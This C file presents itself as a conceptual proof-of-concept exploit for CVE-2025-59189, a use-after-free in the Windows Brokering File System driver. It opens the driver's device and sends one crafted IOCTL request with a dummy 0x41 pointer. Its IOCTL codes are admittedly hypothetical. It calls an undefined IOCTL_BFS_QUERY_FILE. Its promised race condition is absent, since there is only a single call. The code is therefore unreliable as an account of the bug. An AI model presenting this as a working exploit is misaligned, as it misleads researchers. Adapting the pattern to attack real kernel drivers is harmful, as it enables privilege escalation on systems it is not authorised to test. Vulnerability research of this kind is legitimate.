// CVE-2025-59189 - Microsoft Brokering File System Use-After-Free PoC (Conceptual)
// WARNING: This is a conceptual PoC for educational and research purposes only.
// Exploiting this vulnerability without authorization is illegal.
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
// Brokering File System device name
#define BFS_DEVICE_PATH "\\\\.\\BrokeringFileSystem"
// Hypothetical IOCTL codes for Brokering File System operations
// Note: Actual IOCTL codes would need to be reverse-engineered from bfs.sys
#define IOCTL_BFS_OPEN_FILE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_BFS_READ_FILE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_BFS_CLOSE_FILE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_BFS_QUERY_INFO CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _BFS_REQUEST {
ULONG RequestId;
ULONG OperationType;
ULONG Flags;
ULONG DataSize;
PVOID DataBuffer;
ULONG Reserved[4];
} BFS_REQUEST, *PBFS_REQUEST;
// Step 1: Open handle to Brokering File System driver
HANDLE OpenBfsDevice() {
HANDLE hDevice = CreateFileA(
BFS_DEVICE_PATH,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open BFS device. Error: %lu\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
printf("[+] BFS device opened successfully. Handle: %p\n", hDevice);
return hDevice;
}
// Step 2: Trigger the UAF condition via race condition
BOOL TriggerUAF(HANDLE hDevice) {
BFS_REQUEST request = { 0 };
request.RequestId = 1;
request.OperationType = 0x01; // Hypothetical operation
request.Flags = 0x02; // Flag that triggers the vulnerable code path
request.DataSize = sizeof(BFS_REQUEST);
request.DataBuffer = (PVOID)0x4141414141414141;
DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(
hDevice,
IOCTL_BFS_QUERY_FILE,
&request, sizeof(request),
&request, sizeof(request),
&bytesReturned,
NULL
);
printf("[*] Triggered UAF condition. Result: %d, Error: %lu\n", result, GetLastError());
return result;
}
int main() {
printf("[*] CVE-2025-59189 PoC - Microsoft Brokering File System UAF\n");
printf("[*] For authorized security testing only.\n\n");
HANDLE hDevice = OpenBfsDevice();
if (hDevice == INVALID_HANDLE_VALUE) {
return 1;
}
// Trigger the vulnerability
TriggerUAF(hDevice);
CloseHandle(hDevice);
return 0;
}